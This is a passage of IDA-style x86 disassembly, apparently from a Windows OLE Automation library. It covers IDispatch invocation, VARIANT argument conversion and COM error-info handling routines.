; ---------------------------------------------------------------------------
loc_69B2CB7A: ; CODE XREF: sub_69B2CB01+93j
and cx, 0FFFh
cmp cx, 0Ch
jnz short loc_69B2CB96
mov ecx, [esi+8]
test ecx, ecx
jz short loc_69B2CB96
mov esi, ecx
loc_69B2CB8E: ; CODE XREF: sub_69B2CB01+77j
mov cx, [esi]
test cx, di
jnz short loc_69B2CB7A
loc_69B2CB96: ; CODE XREF: sub_69B2CB01+82j
; sub_69B2CB01+89j
test ax, di
jz short loc_69B2CBDD
cmp ax, 400Ch
jnz short loc_69B2CBBD
test [esi], di
jnz short loc_69B2CBB0
push esi ; pvarg
call VariantClear
mov [ebp+var_4], eax
loc_69B2CBB0: ; CODE XREF: sub_69B2CB01+A3j
mov word ptr [ebx], 400Ch
mov [ebx+8], esi
jmp loc_69B2CC7D
; ---------------------------------------------------------------------------
loc_69B2CBBD: ; CODE XREF: sub_69B2CB01+9Ej
movzx ecx, word ptr [esi]
movzx eax, ax
xor ecx, eax
test ecx, 0FFFFBFFFh
jz loc_69B2CC77
loc_69B2CBD1: ; CODE XREF: sub_69B2CB01+165j
mov [ebp+var_4], 80020005h
jmp loc_69B2CC7D
; ---------------------------------------------------------------------------
loc_69B2CBDD: ; CODE XREF: sub_69B2CB01+98j
movzx ecx, word ptr [esi]
movzx edx, ax
xor ecx, edx
test ecx, 0FFFFBFFFh
jz short loc_69B2CC16
cmp ax, 0Ch
jz short loc_69B2CC16
cmp word ptr [esi], 0Ah
jnz short loc_69B2CC02
cmp dword ptr [esi+8], 80020004h
jz short loc_69B2CC16
loc_69B2CC02: ; CODE XREF: sub_69B2CB01+F6j
push eax ; vt
push 0 ; wFlags
push esi ; pvarSrc
push ebx ; pvargDest
mov byte ptr [ebx+10h], 1
call VariantChangeType
mov [ebp+var_4], eax
jmp short loc_69B2CC7D
; ---------------------------------------------------------------------------
loc_69B2CC16: ; CODE XREF: sub_69B2CB01+EAj
; sub_69B2CB01+F0j ...
cmp ax, 9
jnz short loc_69B2CC77
mov cx, [esi]
test cx, di
mov eax, [esi+8]
jz short loc_69B2CC29
mov eax, [eax]
loc_69B2CC29: ; CODE XREF: sub_69B2CB01+124j
test eax, eax
jz short loc_69B2CC77
cmp cx, 9
jnz short loc_69B2CC4A
mov edx, [ebp+var_8]
mov esi, [esi+8]
mov eax, [esi]
lea ecx, [ebx+8]
push ecx
mov ecx, [ebp+arg_C]
push dword ptr [ecx+edx*4]
push esi
call dword ptr [eax]
jmp short loc_69B2CC61
; ---------------------------------------------------------------------------
loc_69B2CC4A: ; CODE XREF: sub_69B2CB01+130j
mov eax, [esi+8]
mov esi, [ebp+var_8]
mov eax, [eax]
mov ecx, [eax]
lea edx, [ebx+8]
push edx
mov edx, [ebp+arg_C]
push dword ptr [edx+esi*4]
push eax
call dword ptr [ecx]
loc_69B2CC61: ; CODE XREF: sub_69B2CB01+147j
test eax, eax
mov [ebp+var_4], eax
jl loc_69B2CBD1
mov byte ptr [ebx+10h], 1
mov word ptr [ebx], 9
jmp short loc_69B2CC7D
; ---------------------------------------------------------------------------
loc_69B2CC77: ; CODE XREF: sub_69B2CB01+CAj
; sub_69B2CB01+119j ...
mov edi, ebx
movsd
movsd
movsd
movsd
loc_69B2CC7D: ; CODE XREF: sub_69B2CB01+B7j
; sub_69B2CB01+D7j ...
cmp [ebp+var_4], 0
jl short loc_69B2CCA1
cmp word ptr [ebx], 0Ah
jnz short loc_69B2CCA1
jmp short loc_69B2CC9D
; ---------------------------------------------------------------------------
loc_69B2CC8B: ; CODE XREF: sub_69B2CB01+5Aj
; sub_69B2CB01+64j
cmp [ebp+var_4], 0
mov word ptr [ebx], 0Ah
mov dword ptr [ebx+8], 80020004h
jl short loc_69B2CCA1
loc_69B2CC9D: ; CODE XREF: sub_69B2CB01+188j
mov byte ptr [ebx+11h], 1
loc_69B2CCA1: ; CODE XREF: sub_69B2CB01+180j
; sub_69B2CB01+186j ...
cmp byte ptr [ebx+11h], 0
jz short loc_69B2CCB4
cmp byte ptr [ebp+pvargDest+3], 0
jnz short loc_69B2CCB4
mov [ebp+var_4], 8002000Eh
loc_69B2CCB4: ; CODE XREF: sub_69B2CB01+1A4j
; sub_69B2CB01+1AAj
mov edx, [ebp+var_8]
inc edx
add ebx, 18h
cmp edx, [ebp+arg_10]
mov [ebp+var_8], edx
jb loc_69B2CB38
loc_69B2CCC7: ; CODE XREF: sub_69B2CB01+31j
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn 14h
sub_69B2CB01 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B2CCD1(int, char, int, int, VARIANTARG *pvargDest, int, int)
sub_69B2CCD1 proc near ; CODE XREF: sub_69B2D0C7+E0p
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
pvargDest = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push ecx
push ecx
mov ecx, [ebp+arg_0]
mov eax, [ecx+8]
and [ebp+var_8], 0
test eax, eax
push ebx
mov ebx, [ebp+arg_8]
push esi
push edi
mov [ebp+var_1], 1
jnz short loc_69B2CD04
test [ebp+arg_4], 2
jz short loc_69B2CD04
mov eax, [ebp+arg_18]
mov esi, [ebp+arg_14]
mov word ptr [eax], 2
and dword ptr [esi], 0
jmp short loc_69B2CD68
; ---------------------------------------------------------------------------
loc_69B2CD04: ; CODE XREF: sub_69B2CCD1+1Bj
; sub_69B2CCD1+21j
xor edi, edi
inc edi
cmp eax, edi
jnz short loc_69B2CD50
test [ebp+arg_4], 0Ch
jz short loc_69B2CD50
mov ax, [ebx+16h]
test al, 0Ch
jnz short loc_69B2CD29
mov eax, [ebp+arg_14]
and dword ptr [eax], 0
loc_69B2CD1F: ; CODE XREF: sub_69B2CCD1+B4j
mov edx, 8002000Eh
jmp loc_69B2CDE2
; ---------------------------------------------------------------------------
loc_69B2CD29: ; CODE XREF: sub_69B2CCD1+46j
test [ebp+arg_4], 4
jz short loc_69B2CD3D
test al, 4
jz short loc_69B2CD3D
mov eax, [ebp+arg_18]
mov word ptr [eax], 4
jmp short loc_69B2CD45
; ---------------------------------------------------------------------------
loc_69B2CD3D: ; CODE XREF: sub_69B2CCD1+5Cj
; sub_69B2CCD1+60j
mov eax, [ebp+arg_18]
mov word ptr [eax], 8
loc_69B2CD45: ; CODE XREF: sub_69B2CCD1+6Aj
mov esi, [ebp+arg_14]
mov [ebp+var_1], 0
mov [esi], edi
jmp short loc_69B2CD68
; ---------------------------------------------------------------------------
loc_69B2CD50: ; CODE XREF: sub_69B2CCD1+38j
; sub_69B2CCD1+3Ej
movzx eax, byte ptr [ebx+8]
mov esi, [ebp+arg_14]
mov [esi], eax
mov eax, [ebp+arg_18]
mov [eax], di
cmp word ptr [ebx+14h], 0Ah
setnz [ebp+var_1]
loc_69B2CD68: ; CODE XREF: sub_69B2CCD1+31j
; sub_69B2CCD1+7Dj
mov dx, [ebx+16h]
test [eax], dx
jnz short loc_69B2CD7B
and dword ptr [esi], 0
mov edx, 80020003h
jmp short loc_69B2CDE2
; ---------------------------------------------------------------------------
loc_69B2CD7B: ; CODE XREF: sub_69B2CCD1+9Ej
mov eax, [esi]
cmp [ecx+8], eax
jbe short loc_69B2CD87
and dword ptr [esi], 0
jmp short loc_69B2CD1F
; ---------------------------------------------------------------------------
loc_69B2CD87: ; CODE XREF: sub_69B2CCD1+AFj
test eax, eax
mov edi, [ebp+pvargDest]
jbe short loc_69B2CDA4
push eax ; int
push dword ptr [ebx+10h] ; int
push dword ptr [ebx+0Ch] ; int
push edi ; pvargDest
push ecx ; int
call sub_69B2CB01
mov edx, eax
test edx, edx
jnz short loc_69B2CDE2
jmp short loc_69B2CDA7
; ---------------------------------------------------------------------------
loc_69B2CDA4: ; CODE XREF: sub_69B2CCD1+BBj
mov edx, [ebp+var_8]
loc_69B2CDA7: ; CODE XREF: sub_69B2CCD1+D1j
cmp [ebp+var_1], 0
jz short loc_69B2CDE2
mov ecx, [ebp+arg_C]
cmp dword ptr [ecx], 0
jnz short loc_69B2CDCB
mov eax, [esi]
lea eax, [eax+eax*2]
lea eax, [edi+eax*8]
mov [ecx], eax
mov eax, [esi]
lea eax, [eax+eax*2]
mov byte ptr [edi+eax*8+10h], 1
inc dword ptr [esi]
loc_69B2CDCB: ; CODE XREF: sub_69B2CCD1+E2j
mov edi, [ecx]
xor eax, eax
stosd
stosd
stosd
stosd
mov bx, [ebx+14h]
cmp bx, 18h
jz short loc_69B2CDE2
mov eax, [ecx]
mov [eax], bx
loc_69B2CDE2: ; CODE XREF: sub_69B2CCD1+53j
; sub_69B2CCD1+A8j ...
pop edi
pop esi
mov eax, edx
pop ebx
leave
retn 1Ch
sub_69B2CCD1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B2CDEB proc near ; CODE XREF: sub_69B2D0C7+144p
perrinfo = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
push ebx
push edi
mov edi, [eax]
xor ebx, ebx
cmp edi, 8002000Eh
mov [ebp+perrinfo], ebx
jz short loc_69B2CE7C
cmp edi, 80020007h
jz short loc_69B2CE7C
cmp edi, 80020003h
jz short loc_69B2CE7C
push esi
mov esi, [ebp+arg_4]
mov [esi], bx
mov eax, [eax]
mov [esi+1Ch], eax
lea eax, [ebp+perrinfo]
push eax ; pperrinfo
push ebx ; dwReserved
call GetErrorInfo
cmp [ebp+perrinfo], ebx
jz short loc_69B2CE7B
push [ebp+perrinfo] ; perrinfo
push ebx ; dwReserved
call SetErrorInfo
mov eax, [ebp+perrinfo]
mov ecx, [eax]
lea edx, [esi+10h]
push edx
push eax
call dword ptr [ecx+1Ch]
mov eax, [ebp+perrinfo]
mov ecx, [eax]
lea edx, [esi+4]
push edx
push eax
call dword ptr [ecx+10h]
mov eax, [ebp+perrinfo]
mov ecx, [eax]
lea edx, [esi+8]
push edx
push eax
call dword ptr [ecx+14h]
mov eax, [ebp+perrinfo]
mov ecx, [eax]
add esi, 0Ch
push esi
push eax
call dword ptr [ecx+18h]
mov eax, [ebp+perrinfo]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
mov edi, 80020009h
loc_69B2CE7B: ; CODE XREF: sub_69B2CDEB+42j
pop esi
loc_69B2CE7C: ; CODE XREF: sub_69B2CDEB+16j
; sub_69B2CDEB+1Ej ...
mov eax, edi
pop edi
pop ebx
leave
retn 8
sub_69B2CDEB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B2CE84 proc near ; CODE XREF: sub_69B4062A+11p
; sub_69B7D61C+11p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, [ebp+arg_8]
test eax, eax
push ebx
mov ebx, ecx
jnz short loc_69B2CE98
mov eax, 80004003h
jmp short loc_69B2CEFA
; ---------------------------------------------------------------------------
loc_69B2CE98: ; CODE XREF: sub_69B2CE84+Bj
push esi
mov esi, [ebp+arg_4]
push edi
push 4
pop ecx
mov edi, offset dword_69B2AFE0
xor edx, edx
repe cmpsd
jz short loc_69B2CEE8
mov edx, [ebx+4]
mov edi, [edx+4]
mov esi, [ebp+arg_4]
push 4
pop ecx
xor edx, edx
repe cmpsd
jz short loc_69B2CEE8
mov esi, [ebp+arg_4]
push 4
pop ecx
mov edi, offset dword_69B2AFC0
xor edx, edx
repe cmpsd
jnz short loc_69B2CEDE
mov eax, [ebp+arg_0]
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
mov eax, [ebp+arg_8]
mov [eax], ebx
jmp short loc_69B2CEF6
; ---------------------------------------------------------------------------
loc_69B2CEDE: ; CODE XREF: sub_69B2CE84+48j
and dword ptr [eax], 0
mov eax, 80004002h
jmp short loc_69B2CEF8
; ---------------------------------------------------------------------------
loc_69B2CEE8: ; CODE XREF: sub_69B2CE84+25j
; sub_69B2CE84+37j
mov esi, [ebp+arg_0]
mov eax, [esi]
push esi
call dword ptr [eax+4]
mov eax, [ebp+arg_8]
mov [eax], esi
loc_69B2CEF6: ; CODE XREF: sub_69B2CE84+58j
xor eax, eax
loc_69B2CEF8: ; CODE XREF: sub_69B2CE84+62j
pop edi
pop esi
loc_69B2CEFA: ; CODE XREF: sub_69B2CE84+12j
pop ebx
pop ebp
retn 0Ch
sub_69B2CE84 endp
; =============== S U B R O U T I N E =======================================
sub_69B2CEFF proc near ; CODE XREF: sub_69B5A0DE+Cp
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov dword ptr [eax], 1
xor eax, eax
retn 8
sub_69B2CEFF endp
; =============== S U B R O U T I N E =======================================
sub_69B2CF0E proc near ; DATA XREF: .text:69B14B40o
; .text:69B14C1Co ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov eax, [eax+4]
push esi
mov esi, [esp+4+arg_4]
push edi
mov edi, [eax+4]
push 4
pop ecx
xor eax, eax
repe cmpsd
pop edi
setnz al
pop esi
retn 8
sub_69B2CF0E endp
; =============== S U B R O U T I N E =======================================
sub_69B2CF2D proc near ; CODE XREF: sub_69B2D21C+13p
arg_0 = dword ptr 4
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push esi
mov esi, [esp+4+arg_0]
cmp dword ptr [esi], 0
jnz short loc_69B2CF45
push [esp+4+arg_8]
push esi
call sub_69B2C8D5
test eax, eax
jnz short loc_69B2CF55
loc_69B2CF45: ; CODE XREF: sub_69B2CF2D+8j
mov eax, [esi]
mov ecx, [esp+4+arg_C]
mov [ecx], eax
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
xor eax, eax
loc_69B2CF55: ; CODE XREF: sub_69B2CF2D+16j
pop esi
retn 10h
sub_69B2CF2D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B2CF59 proc near ; CODE XREF: sub_69B2D237+18p
; sub_69B4107B+69p
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
mov eax, [esi+10h]
test eax, eax
jz short loc_69B2CF82
movzx ecx, byte ptr [esi+14h]
push 0
push [ebp+arg_14]
push [ebp+arg_10]
push ecx
push eax
push [ebp+arg_C]
push [ebp+arg_8]
call sub_69B2CA1A
jmp short loc_69B2CFA5
; ---------------------------------------------------------------------------
loc_69B2CF82: ; CODE XREF: sub_69B2CF59+Cj
cmp dword ptr [esi], 0
jnz short loc_69B2CF94
push [ebp+arg_10]
push esi
call sub_69B2C8D5
test eax, eax
jnz short loc_69B2CFA5
loc_69B2CF94: ; CODE XREF: sub_69B2CF59+2Cj
push [ebp+arg_14]
mov esi, [esi]
push [ebp+arg_C]
mov eax, [esi]
push [ebp+arg_8]
push esi
call dword ptr [eax+28h]
loc_69B2CFA5: ; CODE XREF: sub_69B2CF59+27j
; sub_69B2CF59+39j
pop esi
pop ebp
retn 18h
sub_69B2CF59 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B2CFAA(int, char, LPCWSTR strIn, int, LPCWSTR psz2)
sub_69B2CFAA proc near ; CODE XREF: sub_69B3BAE4+13p
; sub_69B3C2C6+13p ...
pvarg = VARIANTARG ptr -10h
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
strIn = dword ptr 10h
arg_C = dword ptr 14h
psz2 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
mov esi, [ebp+arg_0]
mov eax, [esi+10h]
test eax, eax
push edi
jz short loc_69B2CFE7
mov ebx, [ebp+psz2]
xor ecx, ecx
mov cl, byte ptr [ebp+arg_C]
and ecx, 0FFFFFF01h
push ecx
movzx ecx, byte ptr [esi+14h]
push ebx
push 409h
push ecx
push eax
push 1
lea eax, [ebp+strIn]
push eax
call sub_69B2CA1A
mov edi, eax
jmp short loc_69B2D05E
; ---------------------------------------------------------------------------
loc_69B2CFE7: ; CODE XREF: sub_69B2CFAA+11j
cmp dword ptr [esi], 0
jnz short loc_69B2D001
push 409h
push esi
call sub_69B2C8D5
mov edi, eax
test edi, edi
jnz loc_69B2D0BE
loc_69B2D001: ; CODE XREF: sub_69B2CFAA+40j
mov ebx, [ebp+psz2]
mov eax, [esi]
mov ecx, [eax]
push ebx
push 1
lea edx, [ebp+strIn]
push edx
push eax
call dword ptr [ecx+28h]
mov edi, eax
test edi, edi
jnz short loc_69B2D062
test byte ptr [ebp+arg_C], 1
jz loc_69B2D0BE
mov esi, [esi]
and [ebp+arg_C], eax
mov eax, [esi]
lea ecx, [ebp+arg_C]
push ecx
push 1
lea ecx, [ebp+psz2]
push ecx
push dword ptr [ebx]
push esi
call dword ptr [eax+1Ch]
mov edi, eax
test edi, edi
jl short loc_69B2D062
push [ebp+psz2] ; psz2
push [ebp+strIn] ; psz1
call ds:StrCmpW ; StrCmpW
test eax, eax
jz short loc_69B2D055
mov edi, 80020006h
loc_69B2D055: ; CODE XREF: sub_69B2CFAA+A4j
push [ebp+psz2] ; BSTR
call SysFreeString
loc_69B2D05E: ; CODE XREF: sub_69B2CFAA+3Bj
test edi, edi
jz short loc_69B2D0BE
loc_69B2D062: ; CODE XREF: sub_69B2CFAA+6Dj
; sub_69B2CFAA+94j
cmp [ebp+arg_4], 0
jz short loc_69B2D0BE
lea eax, [ebp+pvarg]
push eax ; pvarg
call VariantInit
push 0 ; int
push 0 ; int
lea eax, [ebp+pvarg]
push eax ; pvar
push 0FFFFFFFFh ; int
push 0FFFFFFFFh ; int
push 19h ; int
push [ebp+strIn] ; lpString
call ds:lstrlenW ; lstrlenW
push eax ; cElements
push [ebp+strIn] ; strIn
call sub_69B30856
test eax, eax
jnz short loc_69B2D0B4
cmp word ptr [ebp+pvarg.anonymous_0], 3
jnz short loc_69B2D0B4
mov eax, dword ptr [ebp+pvarg.anonymous_0+8]
test eax, eax
jl short loc_69B2D0B4
cmp eax, 1E847Fh
jg short loc_69B2D0B4
add eax, 0F4240h
mov [ebx], eax
xor edi, edi
loc_69B2D0B4: ; CODE XREF: sub_69B2CFAA+EAj
; sub_69B2CFAA+F1j ...
lea eax, [ebp+pvarg]
push eax ; pvarg
call VariantClear
loc_69B2D0BE: ; CODE XREF: sub_69B2CFAA+51j
; sub_69B2CFAA+73j ...
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn 14h
sub_69B2CFAA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B2D0C7 proc near ; CODE XREF: sub_69B2D258+36p
pvargDest = VARIANTARG ptr -10Ch
pvarg = VARIANTARG ptr -1Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 10Ch
push ebx
push esi
xor ebx, ebx
cmp [ebp+arg_1C], ebx
push edi
push ebx ; perrinfo
push ebx ; dwReserved
setnz [ebp+var_1]
mov [ebp+var_8], ebx
call SetErrorInfo
mov esi, [ebp+arg_4]
lea eax, [ebp+var_C]
push eax
movzx eax, byte ptr [esi+1Ch]
push eax
push dword ptr [esi+18h]
push [ebp+arg_8]
call sub_69B2CAB9
cmp eax, ebx
mov [ebp+arg_4], eax
jl loc_69B2D1FF
mov eax, [ebp+var_C]
mov edi, [ebp+arg_14]
cmp [edi+8], ebx
mov ecx, [esi+10h]
lea eax, [eax+eax*2]
lea eax, [ecx+eax*8]
jbe short loc_69B2D18F
cmp [ebp+arg_8], ebx
jz short loc_69B2D18F
test [ebp+arg_10], 1
jz short loc_69B2D18F
test byte ptr [eax+16h], 2
jz short loc_69B2D18F
cmp word ptr [eax+14h], 9
jnz short loc_69B2D18F
lea eax, [ebp+pvarg]
push eax ; pvarg
call VariantInit
push ebx
lea eax, [ebp+pvarg]
push eax
push 2
push ebx
push [ebp+arg_8]
push [ebp+arg_0]
call dword ptr [esi+20h]
cmp eax, ebx
jl loc_69B2D215
jz short loc_69B2D164
mov eax, 80070057h
jmp loc_69B2D215
; ---------------------------------------------------------------------------
loc_69B2D164: ; CODE XREF: sub_69B2D0C7+91j
push [ebp+arg_20]
mov eax, dword ptr [ebp+pvarg.anonymous_0+8]
push [ebp+arg_1C]
mov ecx, [eax]
push [ebp+arg_18]
mov esi, eax
push edi
push 3
push [ebp+arg_C]
push offset dword_69B2AFB0
push ebx
push eax
call dword ptr [ecx+18h]
mov [ebp+arg_4], eax
mov eax, [esi]
push esi
call dword ptr [eax+8]
jmp short loc_69B2D1F6
; ---------------------------------------------------------------------------
loc_69B2D18F: ; CODE XREF: sub_69B2D0C7+54j
; sub_69B2D0C7+59j ...
lea ecx, [ebp+arg_10]
push ecx ; int
lea ecx, [ebp+var_8]
push ecx ; int
lea ecx, [ebp+pvargDest]
push ecx ; pvargDest
lea ecx, [ebp+arg_18]
push ecx ; int
push eax ; int
push dword ptr [ebp+arg_10] ; char
push edi ; int
call sub_69B2CCD1
cmp eax, ebx
mov [ebp+arg_4], eax
jl short loc_69B2D1FF
push dword ptr [edi+8]
lea eax, [ebp+pvargDest]
push [ebp+arg_18]
push dword ptr [ebp+arg_10]
push eax
push [ebp+arg_8]
push [ebp+arg_0]
call dword ptr [esi+20h]
mov edi, [ebp+var_8]
cmp edi, ebx
mov [ebp+arg_4], eax
jbe short loc_69B2D1F6
lea esi, [ebp+pvargDest]
loc_69B2D1DC: ; CODE XREF: sub_69B2D0C7+12Dj
cmp [esi+10h], bl
jz short loc_69B2D1F0
push esi ; pvarg
call VariantClear
cmp [ebp+arg_4], ebx
jnz short loc_69B2D1F0
mov [ebp+arg_4], eax
loc_69B2D1F0: ; CODE XREF: sub_69B2D0C7+118j
; sub_69B2D0C7+124j
add esi, 18h
dec edi
jnz short loc_69B2D1DC
loc_69B2D1F6: ; CODE XREF: sub_69B2D0C7+C6j
; sub_69B2D0C7+10Dj
cmp [ebp+arg_4], ebx
jl short loc_69B2D1FF
xor eax, eax
jmp short loc_69B2D215
; ---------------------------------------------------------------------------
loc_69B2D1FF: ; CODE XREF: sub_69B2D0C7+3Cj
; sub_69B2D0C7+EAj ...
cmp [ebp+var_1], bl
jz short loc_69B2D212
push [ebp+arg_1C]
lea eax, [ebp+arg_4]
push eax
call sub_69B2CDEB
jmp short loc_69B2D215
; ---------------------------------------------------------------------------
loc_69B2D212: ; CODE XREF: sub_69B2D0C7+13Bj
mov eax, [ebp+arg_4]
loc_69B2D215: ; CODE XREF: sub_69B2D0C7+8Bj
; sub_69B2D0C7+98j ...
pop edi
pop esi
pop ebx
leave
retn 24h
sub_69B2D0C7 endp
; =============== S U B R O U T I N E =======================================
sub_69B2D21C proc near ; CODE XREF: sub_69B3BB2E+14p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push [esp+arg_C]
mov eax, [esp+4+arg_0]
push [esp+4+arg_8]
push [esp+8+arg_4]
push dword ptr [eax+4]
call sub_69B2CF2D
retn 10h
sub_69B2D21C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B2D237 proc near ; CODE XREF: sub_69B7794D+19p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push [ebp+arg_14]
mov eax, [ebp+arg_0]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push dword ptr [eax+4]
call sub_69B2CF59
pop ebp
retn 18h
sub_69B2D237 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B2D258 proc near ; CODE XREF: sub_69B2D36F+24p
; sub_69B41180:loc_69B41213p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
cmp dword ptr [esi+10h], 0
push edi
mov edi, [ebp+arg_18]
jz short loc_69B2D295
cmp dword ptr [edi+0Ch], 0
jz short loc_69B2D277
mov eax, [edi+4]
cmp dword ptr [eax], 0FFFFFFFDh
jnz short loc_69B2D295
loc_69B2D277: ; CODE XREF: sub_69B2D258+15j
push [ebp+arg_24]
push [ebp+arg_20]
push [ebp+arg_1C]
push edi
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_8]
push esi
push [ebp+arg_4]
call sub_69B2D0C7
jmp short loc_69B2D2C2
; ---------------------------------------------------------------------------
loc_69B2D295: ; CODE XREF: sub_69B2D258+Fj
; sub_69B2D258+1Dj
cmp dword ptr [esi], 0
jnz short loc_69B2D2A7
push [ebp+arg_10]
push esi
call sub_69B2C8D5
test eax, eax
jnz short loc_69B2D2C2
loc_69B2D2A7: ; CODE XREF: sub_69B2D258+40j
push [ebp+arg_24]
mov esi, [esi]
push [ebp+arg_20]
mov eax, [esi]
push [ebp+arg_1C]
push edi
push [ebp+arg_14]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call dword ptr [eax+2Ch]
loc_69B2D2C2: ; CODE XREF: sub_69B2D258+3Bj
; sub_69B2D258+4Dj
pop edi
pop esi
pop ebp
retn 28h
sub_69B2D258 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B2D2C8 proc near ; CODE XREF: sub_69B2D34C+13p
; sub_69B2D39C+28p ...
perrinfo = dword ptr -8
pperrinfo = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
and [ebp+pperrinfo], 0
and [ebp+perrinfo], 0
lea eax, [ebp+pperrinfo]
push eax ; pperrinfo
call CreateErrorInfo
test eax, eax
jl short loc_69B2D324
mov eax, [ebp+pperrinfo]
mov ecx, [eax]
lea edx, [ebp+perrinfo]
push edx
push offset dword_69B2D33C
push eax
call dword ptr [ecx]
test eax, eax
jl short loc_69B2D324
mov eax, [ebp+pperrinfo]
push ebx
mov ebx, [eax]
push esi
mov esi, eax
call sub_69B2C95C
push eax
push esi
call dword ptr [ebx+10h]
mov eax, [ebp+pperrinfo]
push [ebp+arg_0]
mov ecx, [eax]
push eax
call dword ptr [ecx+14h]
push [ebp+perrinfo] ; perrinfo
push 0 ; dwReserved
call SetErrorInfo
pop esi
pop ebx
loc_69B2D324: ; CODE XREF: sub_69B2D2C8+19j
; sub_69B2D2C8+2Ej
lea eax, [ebp+perrinfo]
push eax
call sub_69B17230
lea eax, [ebp+pperrinfo]
push eax
call sub_69B17230
leave
retn 4
sub_69B2D2C8 endp
; ---------------------------------------------------------------------------
align 4
dword_69B2D33C dd 1CF2B120h, 101B547Dh, 8658Eh, 19D12B2Bh
; =============== S U B R O U T I N E =======================================
sub_69B2D34C proc near ; CODE XREF: sub_69B3BD35+5p
; sub_69B3C33C+75p ...
arg_0 = dword ptr 4
push esi
push 0
push [esp+8+arg_0]
call sub_69B2F944
pop ecx
pop ecx
mov esi, eax
push dword ptr [esi+0Ch]
call sub_69B2D2C8
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+30h]
pop esi
retn 4
sub_69B2D34C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B2D36F proc near ; CODE XREF: sub_69B3C310+23p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
push ebp
mov ebp, esp
push [ebp+arg_24]
mov eax, [ebp+arg_0]
push [ebp+arg_20]
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push dword ptr [eax+4]
call sub_69B2D258
pop ebp
retn 28h
sub_69B2D36F endp
; =============== S U B R O U T I N E =======================================
sub_69B2D39C proc near ; CODE XREF: sub_69B22994+9p
; sub_69B24123+9p ...
push 0Ch
push offset dword_69B2D3F0
call sub_69B19C5C
and dword ptr [ebp-1Ch], 0
and dword ptr [ebp-4], 0
mov ecx, [ebp+8]
mov eax, [ecx]
call dword ptr [eax+2Ch]
push eax
lea ecx, [ebp-1Ch]
call sub_69B2D3FC
push dword ptr [ebp-1Ch]
call sub_69B2D2C8
jmp short loc_69B2D3D7
; ---------------------------------------------------------------------------
loc_69B2D3CB: ; DATA XREF: .text:69B2D3F4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B2D3D4: ; DATA XREF: .text:69B2D3F8o
mov esp, [ebp-18h]
loc_69B2D3D7: ; CODE XREF: sub_69B2D39C+2Dj
or dword ptr [ebp-4], 0FFFFFFFFh
push dword ptr [ebp-1Ch] ; BSTR
call SysFreeString
mov eax, [ebp+8]
call sub_69B1853C
retn 4
sub_69B2D39C endp
; ---------------------------------------------------------------------------
align 10h
dword_69B2D3F0 dd 0FFFFFFFFh dd offset loc_69B2D3CB
